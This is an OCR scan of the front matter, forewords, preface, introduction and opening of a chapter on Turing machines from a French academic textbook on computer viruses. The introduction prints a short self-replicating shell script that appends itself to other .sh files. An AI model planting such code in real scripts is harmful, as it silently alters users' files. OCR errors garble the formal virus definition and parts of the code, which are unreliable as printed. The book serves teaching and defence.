Eric Filiol

Collection IRIS

dirigée par Nicolas Puech

Les virus
informatiques :
théorie, pratique
et applications

Deuxieme édition

ﬁ*}g‘
@ Springer ) Gl Bivria



Les virus informatiques :
théorie, pratique et applications

Deuxieme édition



Springer
Paris

Berlin
Heidelberg
New York
Hong Kong
Londres
Milan
Tokyo



Eric Filiol

Les virus informatiques :
théorie, pratique et applications

Deuxieme édition

@ Springer



Eric Filiol

Directeur du laboratoire de virologie et cryptologie opérationnelles
ESIEA

38 rue des Dr Calmette et Guérin

53000 Laval

filiol @esiea.fr

et

Scientific Director

European Institute of Computer Antivirus Research

dirscience @eicar.org

ISBN : 978-2-287-98199-9

© Springer-Verlag France 2009
Imprimé en France
Springer-Verlag France est membre du groupe Springer Science + Business Media

Cet ouvrage est soumis au copyright. Tous droits réservés, notamment la reproduction et la représentation, la traduc-
tion, la réimpression, I’exposé, la reproduction des illustrations et des tableaux, la transmission par voie d’enregistre-
ment sonore ou visuel, la reproduction par microfilm ou tout autre moyen ainsi que la conservation des banques
données. La loi francaise sur le copyright du 9 septembre 1965 dans la version en vigueur n’autorise une reproduction
intégrale ou partielle que dans certains cas, et en principe moyennant les paiements des droits. Toute représentation,
reproduction, contrefacon ou conservation dans une banque de données par quelque procédé que ce soit est sanctionnée
par la loi pénale sur le copyright.

L'utilisation dans cet ouvrage de désignations, dénominations commerciales, marques de fabrique, etc., méme sans
spécification ne signifie pas que ces termes soient libres de la Iégislation sur les marques de fabrique et la protection
des marques et qu’ils puissent étre utilisés par chacun.

La maison d’édition décline toute responsabilité quant a I’exactitude des indications de dosage et des modes d’emplois.
Dans chaque cas il incombe a I’'usager de vérifier les informations données par comparaison a la littérature existante.

DANGER

Maguette de couverture : Jean-Frangois MONTMARCHE I ‘

LE PHOTOCOPILLAGE
TUE LE LIVRE




A ma femme Laurence,
a mon fils Pierre,

a mes parents,

a Fred Cohen,

a Mark Allen Ludwig



Avant-propos
a la seconde édition

A peu prés trois ans se sont écoulés depuis la parution de la seconde
impression de ce livre.

Je tiens & remercier de nouveau tous les lecteurs qui, par leurs commen-
taires, leurs suggestions et leurs retours ont contribué 4 faire de cette seconde
édition une évolution conséquente de la premiére. J’ai surtout eu la confir-
mation qu’une approche sans hypocrisie de la virologie informatique, faisant
fond sur l'esprit de responsabilité du lecteur, son sérieux et son insatiable
curiosité intellectuelle est la seule solution viable pour éduquer de maniére
efficace dans un domaine aussi sensible et aussi (faussement) controverse.
J’ai également pu constater avec plaisir que cette approche, fondée égale-
ment sur la théorie et 'algorithmique, conférait un statut intemporel a cet
ouvrage, qui est loin de se limiter exclusivement & des aspects factuels a la
mode, pour ne pas dire anecdotiques, sous prétexte que le lecteur n’a pas
besoin d’en connaitre plus.

Cela m’a encouragé 3 présenter de nouvelles technologies virales pour
élargir encore plus la vision qu’il est souhaitable, & mon sens, d’avoir dans
ce domaine ; pour également, dans une moindre mesure, tenir compte d’évo-
lutions techniques récentes, décrites implicitement dans la premiére édition
car pouvant étre algorithmiquement rattachées & une classe plus générale.
Ces évolutions rendent & présent nécessaire le traitement étendu de ces tech-
niques. Deux chapitres ont ainsi été ajoutés et présentent l'algorithmique
détaillée des virus de documents et des technologies de type botnet. Un
troisiéme chapitre a également été ajouté pour présenter les évolutions et ré-
sultats théoriques depuis les travaux de Fred Cohen. C’est dans ce domaine
que les avancées ont été les plus significatives.

Avant de vous souhaiter une bonne lecture de cet ouvrage, il me reste &
remercier tous ceux aui. d’une maniére ou d’une autre. ont rendu cette se-
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conde édition possible : mes stagiaires Alexandre Blonce, David de Drézigué,
Edouard Franc, Laurent Frayssignes, Alessandro Gubiolli, Nils Hansma, Be-
noit Moquet, Guillaume Roblot ; mes thésards Grégoire Jacob et Sébastien
Josse ; mes collégues du cours SSIC de ESAT pour leurs encouragements
et Ienvironnement unique qu’ils ont su créer, il sera impossible de les ou-
blier; Daniel K. Bilar, Franck Bonnard, Vlasti Broucek de 'université de
Tasmanie, Michel Dubois, Robert Frra de 'ESIEA, Rainer Fahs, Jean-Paul
Fizaine, Jean-Yves Marion du Loria, Matt Webster de 'université de Liver-
pool, Stefano Zanero de I’Université de Milan et tous ceux que j’aurais pu
oublier.

Enfin, je tiens encore une fois & remercier Nathalie Huilleret, Brigitte
Jiilg et Nicolas Puech des Editions Springer-Verlag France sans lesquels ce
livre n’aurait jamais vu le jour, ainsi que Charles Ruelle, Bernhard Schiiller et
Claudia Schiffers qui ont rejoint ’équipe trés efficace du Journal in Computer
Virology.

Laval, janvier 2009
Eric Filiol
filiol@esiea. fr.ffiliol@amail.com



Avant-propos
a la premiére édition

A peu prés un an s’est écoulé depuis la parution de la premiére impression
de ce livre!. De nouvelles attaques virales, nombreuses ont eu lieu depuis.
Certaines, comme le ver CABIR ou le virus DUTS ont touché des plateformes
plus exotiques que nos ordinateurs traditionnels. Mais c’est avec satisfac-
tion que j’ai pu constater que cet ouvrage restait malgré tout actuel, et le
restera encore longtemps. Dans certains cas, les prévisions, le plus souvent
fondées sur la réalité théorique et annoncées dans ’ouvrage précédent, se sont
trouvées confirmées et ont connu la concrétisation. D’autres restent encore,
malheureusement, & venir.

Cette réimpression actualise certaines données, ou présente succintement
de nouveaux résultats, notamment théoriques. Les inévitables coquilles ont
été corrigées.

Je tiens & remercier tous les lecteurs qui les ont signalées et ainsi ont
contribué a faire de ce nouveau tirage une version débarrassée des quelques
imperfections qui subsistaient et que plusieurs relectures n’étaient pas parve-
nues & détecter. Certaines de ces personnes m’ont également fait parvenir des
informations diverses et variées — notamment de précieuses statistiques, gé-
néralement difficiles & obtenir — qui ont permis d’actualiser certaines données,
a mon sens incomplétes, de la premiére version : Guillaume Arcas, Cedric
Foll (ingénieur de recherche au rectorat de Rouen), Cédric Lauradoux, Joel
Maumin, Francois Morain (professeur & 1’école polytechnique), Christophe
Plasschaert, Eric Wegzynowski, du laboratoire d’informatique théorique de
I'université de Lille. Je les remercie tous pour leur aide, leur enthousiasme
et leur soutien. Je ne saurais également oublier ’aide particuliérement pré-
cieuse de Jean-Christophe Monnard et de plusieurs autres personnes qui ont

! Premiére édition en 2004 et réimpression en 2005.



activement contribué au succés de ce livre : le colonel Albert des Troupes de
Marine, Michel Alberganti, Erick Bullier, Fabien Combernous, Vincent Co-
ronini, Stéphane Foucart, Gilles Guette, David Larousserie, Frantz Loutrel
et tous ceux que j’aurais pu oublier. Merci aux lecteurs qui ont fait le succés
de cet ouvrage. Ils ont contribué plus qu’ils ne 'imaginent a (re)donner ses
lettres de noblesse & une discipline passionnante.

Enfin, je tiens encore une fois & remercier Nathalie Huilleret et Nicolas
Puech des Editions Springer Verlag France sans lesquels ce livre n’aurait
jamais vu le jour.

Guer, septembre 2005
Eric Filiol
Eric. Filiol@inria.fr



Préface

« Virus don’t harm, ignorance do »
herm1t

« ... I am convinced that computer viruses are not evil and that
programmers have a right to create them, possess them and experiment
with them ... truth seekers and wise men have been persecuted by

powerful idiots in every age ... »
Mark A. Ludwig

Tout individu a droit & la liberté d’opinion et d’expression, ce qui
implique le droit de ne pas étre inquiété pour ses opinions et celui de
chercher, de recevoir et de répandre, sans considérations de frontieres,
les informations et les idées par quelqgue moyen d’erpression que ce

s01t.
Article 19 - Déclaration universelle des droits de ’'Homme

Cet ouvrage traite des « virus informatiques », d’un point de vue théorique
mais également d’un point de vue pratique et technique — le code source de
plusieurs virus y est détaillé, décortiqué et commenté. Les « applications »
utilisant de tels proerammes malicieux sont écalement présentées. cet asnect
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n’étant quasiment jamais considéré dans les rares ouvrages consacrés aux
virus?.

Pourquoi un tel livre qui pourrait sembler & certains provocant ? La pro-
vocation n’est assurément pas le but. Depuis une petite décennie, force est
de constater combien la lutte antivirale connait de plus en plus de difficul-
tés A s’organiser et & réagir, notamment face aux attaques virales de ces
trois ou quatre derniéres années. Les vers récents, Sapphire, Blaster et Sobig-
F illustrent parfaitement cette situation. Ces attaques, aux effets souvent
planétaires, paraissent, pour les utilisateurs qui y sont confrontés mais éga-
lement aux yeux du grand public, prendre de cours, chaque fois, le monde
des éditeurs d’antivirus. Le besoin de faire sortir la lutte antivirale du cadre
quasi-confidentiel dans laquelle elle est confinée, se fait sentir de plus en
plus. La complexité des problémes liés & la lutte contre les virus, et en méme
temps la rareté des ouvrages techniques consacrés  la virologie informatique
— science qui évolue en permanence — militent en faveur d’un tel ouvrage.

En fait, ce livre s’adresse essentiellement aux professionnels de l'infor-
matique ou, au minimum, aux passionnés de cette science ou technique, qui
souhaitent acquérir une vision claire et indépendante de ce que sont les virus,
et des risques, mais aussi des possibilités, qu’ils représentent. Il ne s’adresse
en aucun cas aux « acteurs contestables » de l'informatique que la presse
généraliste, écrite ou audio-visuelle, tend a idéaliser et & parer d’un savoir
mystérieux, autant que génial. Ces pirates ou autres malfaisants informa-
tiques n’ont de seule motivation que de nuire et leurs exactions, si elles sont
immatérielles dans les moyens, sont malheureusement bien réelles, en termes
de préjudices. Il était donc nécessaire d’apporter quelques clefs de la connais-
sance dans le domaine de la virologie informatique, de montrer combien il
est faux et dangereux de considérer ces pirates comme des « génies » de
I'informatique.

A de rares exceptions prés, la grande majorité d’entre eux se contente
d’utiliser les créations des autres et ne posséde, finalement, que de piétres
connaissances dans le domaine. Leur bétise ne fait que contribuer a jeter
I'opprobre sur un domaine de connaissance passionnant. Le respect d’autrui
passe par le savoir. Science sans conscience n’est qu’ignorance et ruine de
lame?.

Le probléme actuel vient du fait que les utilisateurs (dans son acception
la plus large, ce qui inclut les administrateurs) sont condamnés d’une part a

2 Le mot virus sera employé systématiquement pour désigner 4 la fois la forme au singulier
et au pluriel de ce mot. Le pluriel « virii », quoique étymologiquement la seule correcte,
est de nos jours désuéte.

3 Francois Rabelais - Pantaaruel 1532.
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faire confiance aux éditeurs d’antivirus et & leurs produits, et d’autre part, a
subir, presque sans espoir, les virus programmés par d’autres. L'informatique
devait normalement libérer 'Homme. La réalité est toute autre. Il n’est pas
concevable que le savoir informatique (les virus en l’espéce qui nous occupe)
soit la chasse gardée de quelques professionnels, dans un but commercial, au
détriment de ceux qui ne le possédent pas.

Le but de ce livre est donc d’initier les utilisateurs aux virus afin qu’ils
comprennent les techniques de base mises en ceuvre par ces programines
particuliers. En fait, la virologie informatique n’est qu’une branche de I'in-
telligence artificielle, elle-méme partie 4 la fois des mathématiques et de la
science informatique. Les virus ne sont que de simples programmes, aux pro-
priétés certes particuliéres. Trop longtemps marqués du sceau de 'infamie,
ils sont pourtant une réalité qui s’impose a nous avec force mais plus en-
core, leur intérét, pour d’éventuelles applications, a été systématiquement et
volontairement passé sous silence.

Que cela fasse plaisir ou non, que cela contrarie ou non certains intéréts,
les virus sont appelés a jouer un réle important dans un avenir proche. Le
but est donc d’initier suffisamment les utilisateurs pour qu’ils acquiérent
une certaine autonomie, notamment dans le domaine de la lutte antivirale,
et de pouvoir agir méme quand les antivirus échouent. L’enseignement de
la virologie informatique commence 3 timidement s’organiser. L’université
de Calgary, au Canada, offre depuis 'automne 2003 un cours sur le sujet,
non sans provoquer une vive réaction, de certains acteurs de la communauté
antivirale (lire en particulier [203,204,212-214]).

Pour toutes ces raisons, il est donc nécessaire et indispensable de travailler
sur la matiére brute : les codes source des virus. La certitude ne vient que
par 'analyse du code. La est la différence entre parler des virus et étudier les
virus. Cette étude ne fera pas pour autant du lecteur un acteur malfaisant,
bien au contraire. Chaque année, des milliers d’étudiants apprennent la chi-
mie. Ils ne se mettent pas & fabriquer des armes chimiques a l'issue de leurs
études. Doit-on proscrire I’enseignement de la chimie sous prétexte de risques
relativement marginaux méme s’ils sont particuliérement préoccupants? Ce
serait se priver de tout de ce que la chimie a apporté de bénéfique. Il en est
de méme pour la virologie informatique.

Une autre raison milite en faveur d’une présentation technique sur les
virus. Les éditeurs d’antivirus, pour une grande partie d’entre eux, ont une
part de responsabilité non négligeable dans la prolifération du risque viral.
En effet, privilégiant la logique commerciale 4 travers un marketing souvent
fallacieux. contestant aux autres le droit & la connaissance techniaue dans
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ce domaine, les utilisateurs en finissent par penser et par accepter qu’'un
antivirus est un outil de protection parfait, et que toute protection se réduit
& disposer d’un tel produit. Il n’en est rien. Les utilisateurs doivent participer
activement a la lutte antivirale, & leur niveau. Cela n’est possible que s’ils
disposent des connaissances adéquates.

Enfin, et cela milite en faveur de la nécessité d’une présentation technique
de codes source viraux, il est nécessaire d’expliquer en prouvant, 4 'aide de
ce matériau brut, ce qui est possible ou non en matiére de virus. Trop de
décideurs fondent leur action ou leur prise de décision sur des concepts vagues
et mal définis, relevant quelquefois du fantasme pur et simple. L’absence
d’éléments techniques, pour séparer « le bon grain de l'ivraie », leur permet
également de se conforter dans des certitudes lénifiantes mais dangereuses.
Seule la confrontation avec la réalité effective d’un code source, élément de
preuve irréfutable, permet d’envisager sainement les choses dans ce domaine.

Dans le présent ouvrage, les connaissances requises pour la bonne com-
préhension des notions exposées, ont été réduites au strict minimum. Une
bonne connaissance des mathématiques de base, de la programmation ainsi
que les rudiments concernant les systémes d’exploitation Unix et Windows
seront suffisants. L’optique de ce livre a été de privilégier ce que 'on pourrait
appeler 1’« algorithmique virale » et de montrer que les techniques virales
peuvent étre décrites simplement et indépendamment de tel ou tel langage
ou de tel ou tel systéme d’exploitation (encore une fois cela replace la viro-
logie informatique dans le contexte plus général de I'informatique et de la
relation existant entre algorithmique et langages de programmation).

Dans ce but, 'usage du pseudo-code et du langage C a été systémati-
quement préféré quand cela était possible et pertinent. Ils sont généralement
connus de la plupart des informaticiens. La présentation sera rendue plus ai-
sée en considérant des exemples simples mais représentatifs, dans un langage
accessible au plus grand nombre.

Certains lecteurs reprocheront, peut-étre, de ne pas voir abordés en détails
des pans entiers de la virologie informatique : les moteurs de mutation et le
polymorphisme, les techniques avancées de furtivité; et plus généralement
de ne pas avoir consacré d’études aux virus et aux vers écrits en assembleur
ou a 'aide de langages plus « exotiques » (mais importants ; citons Java, les
langages de scripts type VBS ou Javascript, Perl, Postscript...). Encore une
fois, objet de cet ouvrage est une introduction didactique, pour le plus grand
nombre, basée sur des exemples simples mais particuliérement représentatifs.
11 est essentiel de comprendre ’algorithmique de base, commune & tous les
virus et vers. avant de se polariser sur les spécificités de tel ou tel langage.



Préface XV

de telle ou telle technique ou de tel ou tel systéme d’exploitation. Tous les
aspects techniques évolués ou plus complexes de la virologie informatique,
feront 'objet d’un second ouvrage faisant suite & celui-ci.

D’autres lecteurs pourront également reprocher & cet ouvrage de n’évo-
quer que trés rapidement les techniques antivirales et de faire, en quelque
sorte, la part belle aux seuls virus. En fait, cela n’est vrai qu’en apparence.
La problématique de la sécurité (d’'une maniére trés générale et non limi-
tée au seul domaine informatique) est la situation nécessairement réactive
& laquelle est condamné 1'utilisateur. Les possibilités de détection d’une at-
taque, de protection et de prévention n’existent que par la connaissance que
I'on a des actions offensives qui peuvent étre menées. Dans le cas des virus,
toute défense et toute lutte seront illusoires sans une connaissance claire et
rigoureuse des mécanismes viraux.

Ce livre est articulé autour de trois parties, relativement indépendantes les
unes des autres, que le lecteur pourra éventuellement consulter dans 'ordre
qui lui plaira. Toutefois, la lecture préalable du chapitre 5 traitant de la
taxonomie, des outils et des techniques de bases en virologie informatique
est conseillée pour assimiler le vocabulaire de base et mieux comprendre le
reste de 'ouvrage.

La premiére partie traite des aspects théoriques des virus. Les travaux de
von Neuman sur les automates autoreplicatifs, de Kleene sur les fonctions
récursives et de Turing sont présentés dans le chapitre 2. Ce sont les bases
mathématiques indispensables pour la suite. Les formalisations de Fred Co-
hen et de Leonard Adleman sont ensuite exposées dans le chapitre 3. Flles
sont fondamentales pour avoir une vision globale & la fois des virus et de la
lutte antivirale. Sans cette hauteur, le lecteur passerait a c6té de certains
aspects et enjeux de la virologie informatique.

Le chapitre 5, ensuite, traite de la classification exhaustive des infections
informatiques ainsi que des principales techniques et des outils. Il contient
notamment les définitions essentielles qu’il convient de connaitre pour la
suite. Bien que sa lecture préalable soit fortement conseillée, ce chapitre a
été placé a cet endroit pour respecter la progression logique de l'ouvrage
et D'historique du domaine. Le chapitre 6, enfin, clét cette partie avec la
présentation des techniques antivirales actuelles et du droit en matiére de
virologie informatique. Cette premiére partie pourra servir de support & une
présentation théorique sur le sujet, de six heures environ. Que le lecteur non
mathématicien se rassure. Chaque fois que cela a été possible, les concepts ont
été simplifiés au maximum sans pour autant sacrifier la rieueur nécessaire.
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La seconde partie est nettement plus technique et consiste essentiellement
en ’é¢tude du code source de quelques virus représentatifs des principales
familles. La encore, P'objectif a été de rendre ce livre accessible & des non-
spécialistes et de limiter les prérequis nécessaires & une bonne connnaissance
de la programmation. Seuls des virus assez simples mais trés actuels et qui
représentent encore une menace tout a fait réelle, sont considérés. Aussi pour
cette premiére version, des techniques aussi passionnantes qu’ardues comme
le polymorphisme ou la furtivité (et les techniques assimilées), ne seront pas
traitées, autrement que d’un point du vue général. Ces techniques réclament
des connaissances solides en assembleur. Le but principal de cet ouvrage
est d’amener le lecteur i acquérir les connaissances qui lui permettront de
poursuivre seul I’étude de la plupart des autres virus.

La troisiéme partie est peut étre la plus importante des trois. Elle traite
des applications des virus informatiques. Ces programmes particuliers sont
potentiellement des outils puissants, aux nombreuses utilisations potentielles.
Les rares ouvrages réellement techniques traitant des virus n’abordent pra-
tiquement jamais cet aspect des virus. Considérant 1'idée méme de virus
« utiles » comme un début de remise en cause de leurs intéréts, les profes-
sionnels de la lutte antivirale l'ont frappé d’anathéme. Il est autant absurde
qu’illusoire et reléve probablement d’une certaine forme d’obscurantisme,
peut-étre intéressé.

L’utilisation des virus & des fins applicatives n’est pas récente méme si elle
n’a pas été médiatisée. Maitrisés comme il se doit (et les antivirus ont 1 un
nouveau role, essentiel, a jouer, en les faisant évoluer de maniére adéquate),
les virus peuvent rendre de grands services. Cette partie tentera, a travers
quelques exemples, de sensibiliser le lecteur.

Au final, I'articulation logique de cet ouvrage peut étre résumée par le
schéma suivant :
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Ce livre reprend, en partie, le module de virologie informatique (entre
15 et 35 heures, travaux pratiques compris) dispensé a 1’Ecole Supérieure
d’Electricité (ESE) depuis 2002, 4 I'Ecole Nationale Supérieure des Tech-
niques Avancées (ENSTA) depuis 2001, & I'Ecole Spéciale Militaire (ESM)
de Saint-Cyr depuis 1999 et a 'université de Limoges depuis 2001. 11 pourra
aisément servir de support & tout enseignant désireux de monter un tel mo-
dule. Chaque chapitre propose quelques exercices afin de permettre au lecteur
désireux de poursuivre plus avant la réflexion concernant les connaissances et
techniques présentées. Dans certains cas, des ébauches de projet, d’une durée
de deux & huit semaines, sont également proposées. Mon souhait est que ce
livre fasse naitre des initiatives pédagogiques permettant de faire découvrir
les virus informatiques tout en les démystifiant.

Bien que ce livre représente, du moins je ’espére, un progrés appréciable
dans la compréhension des virus informatiques, et devrait répondre a une
demande qui ne fait que croitre, je suis également conscient qu’il peut sub-
sister, encore, quelques imperfections dans sa forme. Je prie les lecteurs de
bien vouloir m’en excuser et je les invite d’ores et déja a me faire part des
éventuelles (mais inévitables, je le crains) coquilles trouvées, afin d’amélio-
rer progressivement cet ouvrage. Elles seront corrigées au fur et & mesure
sur ma page web (www-rocq.inria.fr/codes/Eric.Filiol/index.html),
page sur laquelle figureront également quelques corrigés d’exercices et autres
informations utiles.

Ce livre est avant tout dédié a Fred Cohen. Sans lui, il est & craindre que
la virologie informatique (les virus ET la lutte antivirale) serait encore une
science balbutiante et immature. Son travail de formalisation et ses résultats
n’ont malheureusement pas regu ’attention qu’ils méritaient. Son apport est
considérable et le but de ce livre est de contribuer, le mieux possible, & lui
rendre hommage et & faire connaitre une ceuvre, & mon sens, majeure et
incontournable.

Ce livre est également dédié & Mark Allen Ludwig, celui qui nous a ou-
vert la voie, 4 tous, en publiant quelques livres techniques sur les virus, avec
de nombreux codes source détaillés. Son approche didactique, intelligente,
éclairée (le mot n’est pas trop fort) autant que constructive et objective est
remarquable. La rigueur scientifique avec laquelle il s’est attaché & décrire des
techniques avant tout passionnantes et stimulantes pour ’esprit, — son ceuvre
dans de domaine, tient & ce jour en quatre livres dont la lecture reste incon-
tournable — en a fait un pionnier. Mark Ludwig ne renierait pas lui-méme
ce terme qui lui est cher. Il est devenu en quelque sorte un guide pour tous
les passionnés de virus et d’intellicence artificielle. Beaucoun de personnes
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lui doivent cette passion quasi-naturaliste pour les virus informatiques. Je
ne saurais non plus oublier Pascal Lointier, président du CLUSIF, qui en
assurant la traduction d’un des livres majeurs de Mark Ludwig, a permis
aux lecteurs francophones d’accéder & un livre passionnant. Il a lui-méme
grandement contribué en France a donner une vision saine et pédagogique
de la virologie informatique. Nombreux sont ceux en France, qui lui doivent
beaucoup.

En troisiéme lieu, je souhaiterais dédier ce livre & certains programmeurs
de virus, le plus souvent anonymes (sauf pour les initiés) mais assurément
géniaux, animés par le sens du défi technique et non par une quelconque
envie de nuire. Le code de certains de leurs virus m’a émerveillg, a alimenté
cette passion pour les virus et au-deld pour le génie humain qui ne se satisfait
d’aucune impossibilité technique. Leur apport est considérable, plus que 'on
ne veut bien le dire en général. Ils m’ont, en particulier, convaincu que dans
le domaine de la virologie informatique (mais cela est vrai dans tous les
domaines du savoir), la principale qualité est 'humilité. Tl ne faut pas se
complaire du peu que l’'on a pu apprendre mais toujours regarder la masse
impressionnante et insolente de ce que I'on ignore. Trop de gens se prétendent
experts mais ignorent que les techniques évoluent.

Enfin, je tiens & remercier, pour des raisons diverses, les personnes qui ont
rendu ce livre possible : avant tout Madame Huilleret et Monsieur Puech des
Editions Springer Verlag France, qui ont immédiatement été séduits par ce
projet, les lieutenants Azatassou, De Gouvion Saint-Cyr, Hélo, Plan, Smit-
somboon, Tanakwang, les lieutenants de vaisseau Ratier et Turcat, qui ont
participé au développement de certaines versions des virus, lors de leur stage
d’ingénieur, au sein du laboratoire de virologie et de cryptologie de 1'Ecole
Supérieure et d’Application des Transmissions (ESAT'), mais également le gé-
néral Desvignes et les lieutenant-colonels Gardin et Rossa qui, & leur fagon,
m’ont soutenu dans cette entreprise et ont compris la nécessité de développer,
chez les futurs professionnels de la Défense, une véritable culture technique en
matiére de virologie informatique ; Christophe Bidan, Nicolas Brulez, Jean-
Luc Casey, Thiébaut Devergranne, le chef d’escadron Alain Foucal, Brigitte
Jiilg, Pierre Loidreau, Marc Maiffret, Thierry Martineau, Arnaud Metzler,
Bruno Petazzoni, Fredéric Raynal, Marc Rybowicz, Eugéne H. Spafford, De-
nis Tatania, Alain Valet, pour m’avoir permis de faire partager & d’autres
cette passion, tous mes éléves et étudiants sans lequels les cursus créés n’au-
raient pas vu le jour. Enfin, ma femme Laurence qui a réalisé le CDROM
fourni avec cet ouvrage et m’a soutenu avec patience dans cette entreprise.
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Maintenant entrons dans le monde fantastique des virus informatiques et
de l'algorithmique virale.

Guer, aofit 2003
Eric Filiol
Eric. Filiol@inria.fr
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Introduction

Comment décrire un virus 7 Comment expliquer ce qu’est un virus 7 Entre
la définition formelle du mathématicien® qui suit :

VMYV (M,V)eV e [V Cclfet [MeM]et
[Vo eV [VHy [VEVjeN
[ 1. Py(t) =7 et
2. $M(t) = $M(0) et
3. (Opm(t,g), .-, On(t, 5+ v] — 1)) =]
= [T e V[, ",/ eNet ! >t
[ 1[G+ ') < gl ou [(G + [v]) < J']]
2. (On (7, ... Op, j + 1| =1)) = et
3. [3t" tel que [t <t < t'] et
Pa(t) € 47,5 + /] - 1}]

1

et celle du programmeur, donnée en table 1.1, quelle relation existe-t-il?
Laquelle est la plus adaptée?

La notion méme de virus recouvre dans l'esprit du grand public de nom-
breuses acceptions, au point qu’elle est le plus souvent confondue avec la no-
tion, plus générale, d’infections informatiques. Le terme de virus est apparu
en 1988. Pourtant, les organismes artificiels que ce terme désigne existaient
concrétement déja depuis plusieurs années et leurs bases théoriques étaient
encore plus anciennes.

L Cette définition. due a Fred Cohen [511. sera étudiée en détail dans le chanitre 3.
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for i in *.sh; do
if test "./$i" 1= "$0" ; then
tail -n 5 $0 | cat >> $i;
fi

done

TAB. 1.1. Exemple de code viral

Une science, un domaine de connaissances ne parviennent & un stade
de maturation que lorsqu’ils ont pu étre formalisés. Cela permet ensuite de
mieux en comprendre tous les aspects et toutes les implications. Dans le
domaine de la virologie informatique, cette formalisation, si elle n’est pas
encore totalement achevée, a débuté il y a maintenant soixante-dix ans, avec
les travaux de Turing. Les résultats théoriques ultérieurs, ceux de von Neu-
mann, de Cohen, d’Adleman et de quelques autres, ont permis de jeter une
base que 'on peut qualifier de solide, concernant & la fois les virus et autres
infections informatiques et leur inévitable et indispensable contrepartie, la
défense et la lutte antivirale.

La formalisation du mathématicien a largement contribué au développe-
ment des virus eux-mémes. De nombreux programmeurs ont trés vite trouvé
un immense champ d’applications. Cette réalité est peut-étre moins connue.
Les premiers virus ne sont que la mise en application des résultats de von
Neumann sur les automates autoreplicatifs. De méme, par exemple, le poly-
morphisme viral n’est pas apparu ez nshilo. Il a été directement inspiré par
les travaux théoriques de von Neumann et de Cohen. Et d’autres exemples
pourraient étre donnés. Ils montreraient que les virus informatiques que nous
connaissons ne sont, en fait, que la mise en pratique des perspectives offertes
par le champ théorique.

La formalisation théorique a également permis de comprendre ’autre face
de la virologie informatique, 4 savoir la lutte antivirale. Le choix, dés le
départ, du scanning comme technique de détection principale, n’est pas le
fait du pragmatisme ou du hasard, mais bien un choix raisonné et étayé par
des considérations théoriques préalables, qui, en méme temps, ont montré les
limites de cette technique. Il en est de méme pour des techniques antivirales
plus efficaces comme le contrdle d’intégrité. Ces mémes résultats permettent
de fortement relativiser ou d’infirmer les arguments marketing outranciers,
pour ne pas dire irréalistes et faux. de certains éditeurs de logiciels antivirus.



Ces derniers tentent souvent de nous vendre la pierre philosophale et la
quadrature du cercle dans un méme emballage.

L’importance de la formalisation théorique de la virologie informatique ne
peut étre niée méme si elle n’est pas achevée. C’est pourquoi elle constitue
la premiére partie de cet ouvrage. Afin de ne pas effrayer le lecteur non-
mathématicien et dans un souci de clarté, certaines preuves mathématiques
ont été omises, renvoyant le lecteur intéressé aux articles ou livres originaux.
C’est la meilleure fagon de rendre hommage et de payer tribut & ceux qui
ont défriché avec succés le monde fascinant des virus informaticues.



2

Les bases de la formalisation
de Turing a von Neumann

(1936-1967)

L’art de la pédagogie est fait d’humilité et non de fatuité : le but de
toul enseignement n’est pas que le professeur, par un discours inuti-
lement compliqué et pédant, paraisse intelligent, mais que ses éléves
en aient vaincu les moindres difficultés et en ressortent grandis.
Emile Gabauriaud-Pagés
L’art d’enseigner aux autres (1919)

2.1 Introduction

La formalisation des mécanismes viraux utilise essentiellement la notion
de machine de Turing. Cela n’est pas étonnant puisque les virus informa-
tiques ne sont en fait que des programmes, certes particuliers, et que la
formalisation de 'informatique a débuté avec les travaux d’Alan Turing! en
1936 [218].

Une machine de Turing est — définition en premiére approche qui sera
explicitée dans ce chapitre — la représentation abstraite et générale d’un or-
dinateur et des programmes susceptibles d’étre exécutés sur cet ordinateur.
Le lecteur qui souhaiterait approfondir les relations exactes entre les ordi-
nateurs réels et leur modele théorique pourra lire [40, p. 68]. Ce modele
théorique a permis de répondre & de nombreux problémes fondamentaux
parmi lesquels :

L En fait, les années 1930 ont connu une intense production de résultats dans ce do-
maine. La formulation de Turing a été redéfinie, indépendamment et de maniére diffé-
rente quoique équivalente, par plusieurs auteurs, notamment Church [49], Kleene [146],
Markov [1701 et Post [1841.
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— Soit une fonction f donnée. Cette fonction est-elle « effectivement »
calculable? En d’autres termes, existe-t-il un algorithme permettant
de réaliser, de calculer f7?

Pour ce qui nous intéresse, les virus informatiques, la fonction f est celle
de Vautoreproduction. Un programme peut-il se reproduire lui-méme? Les
travaux de Turing et ceux de ses exégétes ne se sont pas intéressés & ce
probléme particulier.

Ce n’est que quelques années plus tard, que John von Neumann et Ar-
thur Burks [40,221], partant des travaux et des résultats de Turing, se sont
intéressés a la notion d’autoreproduction, dans le cadre des automates cellu-
lodres. Tls ont prouvé, en particulier, que ce phénoméne pouvait étre réalisé en
pratique. Toutefois, I’exemple qu’ils ont exhibé était d’une complexité telle
que plusieurs chercheurs ont par la suite tenté de trouver d’autres exemples
plus simples, et surtout plus faciles & étudier et & réaliser en pratique, pour
comprendre cette propriété d’autoreproduction. La question principale était
de savoir jusqu’a quel degré de simplicité il était possible de descendre pour
un automate, tout en conservant la propriété d’autoreproduction.

Par la suite, plusieurs auteurs, en particulier Codd [50] en 1968, Her-
man [134] en 1973, Langton [158] en 1984 et Byl [41] en 1989 sont parvenus
& construire d’autres automates autoreproductifs, beaucoup plus simples.
L’autoreproduction est devenue une réalité pratique. Avec elle, les virus in-
formatiques étaient nés, mais il ne s’est agi que d’une premiére naissance. Il
faudra encore quelques années avant de voir apparaitre de tels programmes
et le terme méme de virus.

2.2 Les machines de Turing

Nous allons décrire ce que sont les machines de Turing et les différents pro-
blémes qui y sont attachés, essentiellement dans le cadre qui nous concerne
(les programmes autoreproducteurs). Le lecteur souhaitant un exposé détaillé
sur ce sujet consultera [135,162,218]. Il trouvera également dans |27, p. 271]
une implémentation claire et détaillée d’'une machine de Turing en langage
interprété Sed.

2.2.1 Machines de Turing et fonctions récursives

Une machine de Turing M, dispositif plutdt primitif & premiére vue, est
composée de trois parties :
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— une unité de stockage ou bande de calcul (bandelette de papier ou bande

magnétique). De longueur infinie, elle est divisée en cellules, chacune
contenant un symbole & la fois, pris dans un alphabet donné. L’absence
de symboles, autrement dit la cellule est vide, sera considérée comme un
symbole particulier afin de généraliser le propos. Le nombre de cellules
non vides est fini. Initialement, la bande de calcul contient les données
d’entrée. En fin du calcul, elle contient les données de sortie, et en cours
de calcul, les données transitoires ;

une téte de lecture/écriture qui se déplace le long de la bande de calcul,
d’une cellule & la fois, vers la droite ou vers la gauche. L’écriture d’un
symbole dans la cellule est d’abord précédée par V'effacement de celui
